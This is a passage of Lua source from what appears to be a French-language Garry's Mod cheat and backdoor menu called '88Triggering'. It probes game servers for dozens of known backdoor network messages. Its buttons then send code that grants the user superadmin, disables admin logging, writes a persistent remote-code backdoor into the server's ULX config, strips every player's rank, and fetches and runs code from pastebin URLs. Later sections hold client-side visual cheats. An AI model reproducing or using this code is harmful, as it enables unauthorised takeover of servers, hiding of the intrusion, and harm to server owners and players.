9149 if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
9150 triggeringbd = "noclipcloakaesp_chat_text"
9151 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9152 else
9153 end
9154
9155 if( triggeringnetcall("nostrip") ) then
9156 triggeringbd = "nostrip"
9157 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9158 else
9159 end
9160
9161
9162 if( triggeringnetcall("LickMeOut") ) then
9163 triggeringbd = "LickMeOut"
9164 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9165 else
9166 end
9167
9168 if( triggeringnetcall("MoonMan") ) then
9169 triggeringbd = "MoonMan"
9170 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9171 else
9172 end
9173
9174 if( triggeringnetcall("Im_SOCool") ) then
9175 triggeringbd = "Im_SOCool"
9176 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9177 else
9178 end
9179
9180 if( triggeringnetcall("ULXQUERY2") ) then
9181 triggeringbd = "ULXQUERY2"
9182 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9183 else
9184 end
9185
9186 if( triggeringnetcall("jesuslebg") ) then
9187 triggeringbd = "jesuslebg"
9188 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9189 else
9190 end
9191
9192 if( triggeringnetcall("zilnix") ) then
9193 triggeringbd = "zilnix"
9194 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9195 else
9196 end
9197
9198 if( triggeringnetcall("-c") ) then
9199 triggeringbd = "-c"
9200 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9201 else
9202 end
9203
9204 if( triggeringnetcall("kill") ) then
9205 triggeringbd = "kill"
9206 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9207 else
9208 end
9209
9210 if( triggeringnetcall("88") ) then
9211 triggeringbd = "88"
9212 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9213 else
9214 end
9215
9216 if( triggeringnetcall("Ulib_Message") ) then
9217 triggeringbd = "Ulib_Message"
9218 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9219 else
9220 end
9221
9222 if( triggeringnetcall("Sbox_itemstore") ) then
9223 triggeringbd = "Sbox_itemstore"
9224 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9225 else
9226 end
9227
9228 if( triggeringnetcall("Sbox_darkrp") ) then
9229 triggeringbd = "Sbox_darkrp"
9230 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9231 else
9232 end
9233
9234 if( triggeringnetcall("ITEM") ) then
9235 triggeringbd = "ITEM"
9236 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9237 else
9238 end
9239
9240 if( triggeringnetcall("fix") ) then
9241 triggeringbd = "fix"
9242 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9243 else
9244 end
9245
9246 if( triggeringnetcall("Fix_Keypads") ) then
9247 triggeringbd = "Fix_Keypads"
9248 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9249 else
9250 end
9251
9252 if( triggeringnetcall("Remove_Exploiters") ) then
9253 triggeringbd = "Remove_Exploiters"
9254 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9255 else
9256 end
9257
9258 if( triggeringnetcall("ULX_QUERY2") ) then
9259 triggeringbd = "ULX_QUERY2"
9260 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9261 else
9262 end
9263
9264 if( triggeringnetcall("Sandbox_GayParty") ) then
9265 triggeringbd = "Sandbox_GayParty"
9266 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9267 else
9268 end
9269
9270 if( triggeringnetcall("_CAC_G") ) then
9271 triggeringbd = "_CAC_G"
9272 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9273 else
9274 end
9275
9276 if( triggeringnetcall("fellosnake") ) then
9277 triggeringbd = "fellosnake"
9278 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9279 else
9280 end
9281
9282 if( triggeringnetcall("stoppk") ) then
9283 triggeringbd = "stoppk"
9284 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9285 else
9286 end
9287
9288 if( triggeringnetcall("Sbox_Message") ) then
9289 triggeringbd = "Sbox_Message"
9290 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9291 else
9292 end
9293
9294 if( triggeringnetcall("Sbox_gm_attackofnullday_key") ) then
9295 triggeringbd = "Sbox_gm_attackofnullday_key"
9296 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9297 else
9298 end
9299
9300 if( triggeringnetcall("m9k_explosionradius") ) then
9301 triggeringbd = "m9k_explosionradius"
9302 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9303 else
9304 end
9305
9306 if( triggeringnetcall("m9k_explosive") ) then
9307 triggeringbd = "m9k_explosive"
9308 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9309 else
9310 end
9311
9312 if( triggeringnetcall("arivia") ) then
9313 triggeringbd = "arivia"
9314 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9315 else
9316 end
9317
9318 if( triggeringnetcall("_Warns") ) then
9319 triggeringbd = "_Warns"
9320 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9321 else
9322 end
9323
9324 if( triggeringnetcall("pjHabrp9EY") ) then
9325 triggeringbd = "pjHabrp9EY"
9326 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9327 else
9328 end
9329
9330 if( triggeringnetcall("_Raze") ) then
9331 triggeringbd = "_Raze"
9332 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9333 else
9334 end
9335
9336 if( triggeringnetcall("thefrenchenculer") ) then
9337 triggeringbd = "thefrenchenculer"
9338 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9339 else
9340 end
9341
9342 if( triggeringnetcall("Þ� ?D)◘") ) then
9343 triggeringbd = "Þ� ?D)◘"
9344 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9345 else
9346 end
9347
9348 if( triggeringnetcall("PlayerItemPickUp") ) then
9349 triggeringbd = "PlayerItemPickUp"
9350 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9351 else
9352 end
9353
9354 if( triggeringnetcall("echangeinfo") ) then
9355 triggeringbd = "echangeinfo"
9356 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9357 else
9358 end
9359
9360 if( triggeringnetcall("fourhead") ) then
9361 triggeringbd = "fourhead"
9362 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9363 else
9364 end
9365
9366 if( triggeringnetcall("DefqonBackdoor") ) then
9367 triggeringbd = "DefqonBackdoor"
9368 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9369 else
9370 end
9371
9372 if( triggeringnetcall("xenoexistscl") ) then
9373 triggeringbd = "xenoexistscl"
9374 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9375 else
9376 end
9377
9378 if( triggeringnetcall("cvaraccess") ) then
9379 triggeringbd = "cvaraccess"
9380 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9381 else
9382 end
9383
9384 if( triggeringnetcall("NoNerks") ) then
9385 triggeringbd = "NoNerks"
9386 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9387 else
9388 end
9389
9390 if( triggeringnetcall("cucked") ) then
9391 triggeringbd = "cucked"
9392 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9393 else
9394 end
9395
9396 if( triggeringnetcall("OldNetReadData") ) then
9397 triggeringbd = "OldNetReadData"
9398 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9399 else
9400 end
9401
9402 if( triggeringnetcall("DarkRP_UTF8") ) then
9403 triggeringbd = "DarkRP_UTF8"
9404 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9405 else
9406 end
9407
9408 if( triggeringnetcall("fix") ) then
9409 triggeringbd = "fix"
9410 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9411 else
9412 end
9413
9414 if( triggeringnetcall("__G____CAC") ) then
9415 triggeringbd = "__G____CAC"
9416 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9417 else
9418 end
9419
9420 if( triggeringnetcall("AbSoluT") ) then
9421 triggeringbd = "AbSoluT"
9422 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9423 else
9424 end
9425
9426 if( triggeringnetcall("Gamemode_get") ) then
9427 triggeringbd = "Gamemode_get"
9428 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9429 else
9430 end
9431
9432 if( triggeringnetcall("z") ) then
9433 triggeringbd = "z"
9434 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9435 else
9436 end
9437
9438 if( triggeringnetcall("cvardel") ) then
9439 triggeringbd = "cvardel"
9440 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9441 else
9442 end
9443
9444 if( triggeringnetcall("Sandbox_ArmDupe") ) then
9445 triggeringbd = "Sandbox_ArmDupe"
9446 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9447 else
9448 end
9449
9450 if( triggeringnetcall("antilagger") ) then
9451 triggeringbd = "antilagger"
9452 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9453 else
9454 end
9455
9456 if( triggeringnetcall("effects_en") ) then
9457 triggeringbd = "effects_en"
9458 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9459 else
9460 end
9461
9462 if( triggeringnetcall("file") ) then
9463 triggeringbd = "file"
9464 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9465 else
9466 end
9467
9468 if( triggeringnetcall("ULogs_B") ) then
9469 triggeringbd = "ULogs_B"
9470 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9471 else
9472 end
9473
9474 if( triggeringnetcall("Bilboard.adverts:Spawn(false)") ) then
9475 triggeringbd = "Bilboard.adverts:Spawn(false)"
9476 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9477 else
9478 end
9479
9480 if( triggeringnetcall("gag") ) then
9481 triggeringbd = "gag"
9482 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9483 else
9484 end
9485
9486 if( triggeringnetcall("PlayerItemPickUp") ) then
9487 triggeringbd = "PlayerItemPickUp"
9488 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9489 else
9490 end
9491
9492 if( triggeringnetcall("JSQuery.Data(Post(false))") ) then
9493 triggeringbd = "JSQuery.Data(Post(false))"
9494 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9495 else
9496 end
9497
9498 if( triggeringnetcall("mecthack") ) then
9499 triggeringbd = "mecthack"
9500 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.."" )
9501 else
9502 end
9503
9504 if( triggeringnetcall("PlayerCheck") ) then
9505 triggeringbd = "PlayerCheck"
9506 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.."" )
9507 else
9508 end
9509
9510 if( triggeringnetcall("RayanFRdomine") ) then
9511 triggeringbd = "RayanFRdomine"
9512 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.."" )
9513 else
9514 end
9515
9516 if triggeringbd == "" then
9517 chat.AddText(Color(0, 0, 0), "[", "88Triggering", "] ", Color( 255, 0, 0 ), "Aucune backdoor active :(" )
9518 else
9519 chat.AddText(Color(0, 0, 0), "[", "88Triggering", "] ", Color( 0, 255, 0 ), "Backdoor Active : ".. triggeringbd )
9520 end
9521----------------------------------------------------
9522
9523local persistbd = [[
9524 local config = ULib.fileRead( "data/ulx/config.txt" )
9525 config = config.."\nulx logEcho 0"
9526 config = config.."\nulx luarun util.AddNetworkString( '_CAC_G' ) net.Receive( '_CAC_G', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
9527 config = config.."\nulx logEcho 1"
9528 ULib.fileWrite( "data/ulx/config.txt", config )
9529 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Persistent infection installed on server" ) end end
9530 ]]
9531
9532local the88admingive = [[
9533 concommand.Add("88isadmin", function(ply)
9534 RunConsoleCommand("ulx", "logecho", "0")
9535 RunConsoleCommand("ulx","adduser",ply:Nick(),"superadmin")
9536 ply:ChatPrint( "Succès Mec :D" )
9537end )]]
9538
9539local the88admingivecramer = [[
9540 concommand.Add("88isadmincramer", function(ply)
9541 RunConsoleCommand("Fadmin","setaccess",ply:Nick(),"superadmin")
9542end )]]
9543
9544local launchbd = [[
9545
9546 RunConsoleCommand("ulx","luarun","util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
9547
9548 ]]
9549
9550
9551
9552local enablelogs = [[
9553
9554 RunConsoleCommand("ulx","logecho","3")
9555
9556 ]]
9557
9558local nologs = [[
9559
9560 RunConsoleCommand("ulx","logecho","0")
9561
9562 ]]
9563
9564local allowluarun88 = [[
9565
9566 RunConsoleCommand("ulx","userallowid","STEAM_1:1:423243929","ulx luarun")
9567 RunConsoleCommand("ulx","userallowid","STEAM_0:0:422749912","ulx luarun")
9568
9569 ]]
9570
9571local unrankall = [[
9572
9573 RunConsoleCommand("FAdmin","setaccess","*", "user")
9574
9575 ]]
9576
9577
9578
9579---------------------------------------------------
9580
9581
9582
9583
9584local Entry = vgui.Create( "DTextEntry" )
9585Entry:SetParent(backdoorScrollPanel)
9586Entry:SetPos( 0, 480 )
9587Entry:SetSize( 190, 30 )
9588Entry:SetText( "BackDoor Ici" )
9589Entry.OnChange = function( self )
9590
9591 triggeringbd = self:GetValue()
9592end
9593
9594
9595function BDAdd(id, text, desc, func)
9596local bdid = vgui.Create( "DButton", backdoorScrollPanel )
9597bdid:SetText( text )
9598bdid:SetTextColor( Color( 200, 200, 200, 220 ) )
9599bdid:SetFont("Roboto")
9600bdid:Dock( TOP )
9601bdid:DockMargin( 210, 45, 10, -35 )
9602bdid:DockPadding( 2, 20, 20, 60 )
9603bdid.DoClick = func
9604if desc then
9605bdid:SetToolTip( desc )
9606end
9607bdid.Paint = function( self, w, h )
9608bdid.OnCursorEntered = function(self)
9609-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9610surface.PlaySound( "buttons/button15.wav" )
9611end
9612if bdid:IsHovered() then
9613-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9614draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9615else
9616draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9617end
9618surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9619surface.DrawOutlinedRect( 0, 0, w, h )
9620end
9621end
9622
9623BDAdd( "1","Se Mettre SuperAdmin ULX", "Ca va chauffer :c", function()
9624surface.PlaySound("garrysmod/ui_click.wav")
9625NOTIFICATION("YOUUUUUUUUUHOUUUUUUUUUUUUU")
9626net.Start(""..triggeringbd.."")
9627net.WriteString(""..the88admingive.."")
9628net.WriteBit(1)
9629RunConsoleCommand "88isadmin"
9630net.SendToServer()
9631end )
9632
9633BDAdd( "2","Se Mettre SuperAdmin FADMIN", "Très cramer mais utile", function()
9634surface.PlaySound("garrysmod/ui_click.wav")
9635NOTIFICATION("Hop hop hop :D")
9636net.Start(""..triggeringbd.."")
9637net.WriteString(""..the88admingivecramer.."")
9638net.WriteBit(1)
9639RunConsoleCommand "88isadmincramer"
9640net.SendToServer()
9641end )
9642
9643BDAdd( "3","Activer Backdoor 88", "Sa va faire mal", function()
9644surface.PlaySound("garrysmod/ui_click.wav")
9645NOTIFICATION("Go foutre le bordel :3")
9646net.Start(""..triggeringbd.."")
9647net.WriteString(launchbd)
9648net.WriteBit(1)
9649net.SendToServer()
9650end )
9651
9652BDAdd( "4","Desactiver Logs", "Invisible pour les commandes ulx :D", function()
9653surface.PlaySound("garrysmod/ui_click.wav")
9654NOTIFICATION("Logs Desactivé")
9655net.Start(""..triggeringbd.."")
9656net.WriteString(""..nologs.."")
9657net.WriteBit(1)
9658net.SendToServer()
9659end )
9660
9661BDAdd( "5","Activer Logs", "Sa sera pratique pour pas cramer", function()
9662surface.PlaySound("garrysmod/ui_click.wav")
9663NOTIFICATION("Logs Activé")
9664net.Start(""..triggeringbd.."")
9665net.WriteString(""..enablelogs.."")
9666net.WriteBit(1)
9667net.SendToServer()
9668end )
9669
9670BDAdd( "6","Demarrer 88 Backdoor Menu", "Perfect", function()
9671surface.PlaySound("garrysmod/ui_click.wav")
9672RunConsoleCommand "88_backdoor"
9673end )
9674
9675BDAdd( "7","Luarun 88", "BACKDOOR TIME :3", function()
9676surface.PlaySound("garrysmod/ui_click.wav")
9677net.Start(""..triggeringbd.."")
9678net.WriteString(""..allowluarun88.."")
9679net.WriteBit(1)
9680net.SendToServer()
9681end )
9682
9683BDAdd( "8","Unrank Tout Le Serveur", "RIP LES RANKS :c", function()
9684surface.PlaySound("garrysmod/ui_click.wav")
9685net.Start(""..triggeringbd.."")
9686net.WriteString(""..unrankall.."")
9687net.WriteBit(1)
9688net.SendToServer()
9689end )
9690
9691BDAdd( "9","Activer LuaRun", "rt si t'es trist yoh :c", function()
9692surface.PlaySound("garrysmod/ui_click.wav")
9693net.Start(""..triggeringbd.."")
9694net.WriteString("http.Fetch(\"https://pastebin.com/raw/kbzarvsW\",function(b,l,h,c)RunString(b)end,nil)")
9695net.WriteBit(1)
9696net.SendToServer()
9697end )
9698
9699BDAdd( "9","Kill SNTE", "rt si t'es trist yoh :c", function()
9700surface.PlaySound("garrysmod/ui_click.wav")
9701net.Start(""..triggeringbd.."")
9702net.WriteString("http.Fetch(\"https://pastebin.com/raw/GzpPgx8q\",function(b,l,h,c)RunString(b)end,nil)")
9703net.WriteBit(1)
9704net.SendToServer()
9705end )
9706
9707
9708/*================================
9709|===== 88Triggering MUSIQUES =====|
9710=================================*/
9711
9712
9713local soundboardmusicScrollPanel = vgui.Create( "DScrollPanel", mscsbd )
9714soundboardmusicScrollPanel:Dock( FILL )
9715soundboardmusicScrollPanel:InnerWidth(100)
9716local sbar = soundboardmusicScrollPanel:GetVBar()
9717function soundboardmusicScrollPanel:Paint( w, h )
9718 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
9719end
9720function sbar:Paint( w, h )
9721 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
9722end
9723function sbar.btnUp:Paint( w, h )
9724 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9725end
9726function sbar.btnDown:Paint( w, h )
9727 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9728end
9729function sbar.btnGrip:Paint( w, h )
9730 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9731end
9732
9733function AddSong(id, text, desc, func)
9734local msbd = vgui.Create( "DButton", soundboardmusicScrollPanel )
9735msbd:SetText( text )
9736msbd:SetTextColor( Color( 200, 200, 200, 220 ) )
9737msbd:SetFont("Roboto")
9738msbd:Dock( TOP )
9739msbd:DockMargin( 10, 45, 40, -37 )
9740msbd:DockPadding( 2, 30, 20, 10 )
9741msbd.DoClick = func
9742if desc then
9743msbd:SetToolTip( desc )
9744end
9745msbd.Paint = function( self, w, h )
9746msbd.OnCursorEntered = function(self)
9747-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9748surface.PlaySound( "buttons/button15.wav" )
9749end
9750if msbd:IsHovered() then
9751-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9752draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9753else
9754draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9755end
9756surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9757surface.DrawOutlinedRect( 0, 0, w, h )
9758end
9759end
9760
9761AddSong( "1","Stop Musique", "Stop Une Musique Directement", function()
9762surface.PlaySound("buttons/lever3.wav")
9763net.Start(""..triggeringbd.."")
9764net.WriteString("RunConsoleCommand \"stopsound\"")
9765net.WriteBit(1)
9766net.SendToServer()
9767end )
9768
9769
9770
9771
9772
9773
9774
9775
9776
9777
9778
9779
9780
9781/*===================================
9782|===== 88Triggering SOUNDBOARD =====|
9783===================================*/
9784
9785
9786local soundboardpanel = vgui.Create( "DScrollPanel", sdbbd )
9787soundboardpanel:Dock( FILL )
9788soundboardpanel:InnerWidth(100)
9789local sbar = soundboardpanel:GetVBar()
9790function soundboardpanel:Paint( w, h )
9791 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
9792end
9793function sbar:Paint( w, h )
9794 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
9795end
9796function sbar.btnUp:Paint( w, h )
9797 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9798end
9799function sbar.btnDown:Paint( w, h )
9800 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9801end
9802function sbar.btnGrip:Paint( w, h )
9803 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9804end
9805
9806function AddSB(id, text, desc, func)
9807local sbbd = vgui.Create( "DButton", soundboardpanel )
9808sbbd:SetText( text )
9809sbbd:SetTextColor( Color( 200, 200, 200, 220 ) )
9810sbbd:SetFont("Roboto")
9811sbbd:Dock( TOP )
9812sbbd:DockMargin( 10, 45, 40, -37 )
9813sbbd:DockPadding( 2, 30, 20, 10 )
9814sbbd.DoClick = func
9815if desc then
9816sbbd:SetToolTip( desc )
9817end
9818sbbd.Paint = function( self, w, h )
9819sbbd.OnCursorEntered = function(self)
9820-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9821surface.PlaySound( "buttons/button15.wav" )
9822end
9823if sbbd:IsHovered() then
9824-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9825draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9826else
9827draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9828end
9829surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9830surface.DrawOutlinedRect( 0, 0, w, h )
9831end
9832end
9833
9834AddSB( "1","Stop Soundboard", "Stop directement un soundboard", function()
9835surface.PlaySound("buttons/lever3.wav")
9836net.Start(""..triggeringbd.."")
9837net.WriteString("RunConsoleCommand \"stopsound\"")
9838net.WriteBit(1)
9839net.SendToServer()
9840end )
9841
9842end)
9843
9844
9845
9846
9847/*====================================
9848|===== 88Triggering AUTRES TRUCS =====|
9849=====================================*/
9850
9851
9852
9853
9854
9855
9856concommand.Add("show_door", function()
9857
9858hook.Add("HUDPaint" , "DoorFind" , function ()
9859
9860 for k,v in pairs (ents.GetAll()) do
9861
9862 if IsValid(v) and v:getDoorOwner() then
9863
9864 local pos = v:GetPos():ToScreen()
9865
9866 local distance = math.floor(LocalPlayer():GetPos():Distance(v:GetPos()) / 25)
9867
9868 draw.DrawText(distance.."m", "ChatFont", pos.x, pos.y - 10,Color(255, 255, 255, 255),1)
9869
9870 draw.DrawText("Propriétaire - "..v:getDoorOwner():Nick(), "TargetIDSmall", pos.x + 1, pos.y - 30,Color(255, 255, 255, 255),1)
9871
9872 surface.SetDrawColor(255,255,255,255)
9873
9874 surface.SetMaterial(Material( "icon16/door.png" ))
9875
9876 surface.DrawTexturedRect(pos.x-10, pos.y-50, 16,16)
9877
9878 end
9879
9880 end
9881
9882end)
9883
9884end)
9885
9886concommand.Add("hide_door", function()
9887hook.Remove("HUDPaint" , "DoorFind")
9888end)
9889
9890local On = false
9891 local Glow
9892 function Night( on )
9893
9894 function think()
9895 for k,v in pairs(ents.GetAll()) do
9896 local sep = string.Explode("_",v:GetClass())
9897 if sep[1] == "npc" or v:GetClass() == "player" then
9898 if Glow then
9899 v:SetMaterial("models/weapons/v_slam/new light1") end
9900 end
9901 if (sep[1] == "npc" or v:GetClass() == "player") and !on then
9902 v:SetMaterial("") end
9903 end
9904 end
9905 hook.Add("Think","ehyuj",think)
9906 local mul
9907 if on then mul = 1 On = true else mul = 0 On = false end
9908 if on then
9909 surface.PlaySound( "items/nvg_on.wav" ) else
9910 surface.PlaySound( "items/nvg_off.wav" ) end
9911
9912 local function ArghItBurns()
9913 DrawBloom( 0, 1, 1, 0, 0, 1, .5*mul, 2.5*mul, .5*mul )
9914 end
9915 hook.Add( "RenderScreenspaceEffects", "NoMoreEyesForYou!", ArghItBurns )
9916
9917 local function PUMPPPTEST()
9918
9919 local tab = {}
9920 tab[ "$pp_colour_addr" ] = 0
9921 tab[ "$pp_colour_addg" ] = 0
9922 tab[ "$pp_colour_addb" ] = 0
9923 tab[ "$pp_colour_brightness" ] = -0.5*mul
9924 tab[ "$pp_colour_contrast" ] = 1-.5*mul
9925 tab[ "$pp_colour_colour" ] = 1
9926 tab[ "$pp_colour_mulr" ] = 0
9927 tab[ "$pp_colour_mulg" ] = 0
9928 tab[ "$pp_colour_mulb" ] = 0
9929
9930 DrawColorModify( tab )
9931 end
9932 hook.Add( "RenderScreenspaceEffects", "RenderColorModifyPOO", PUMPPPTEST )
9933 end
9934
9935 function TogNight()
9936 local ply = LocalPlayer()
9937 if On == true then
9938 On = false
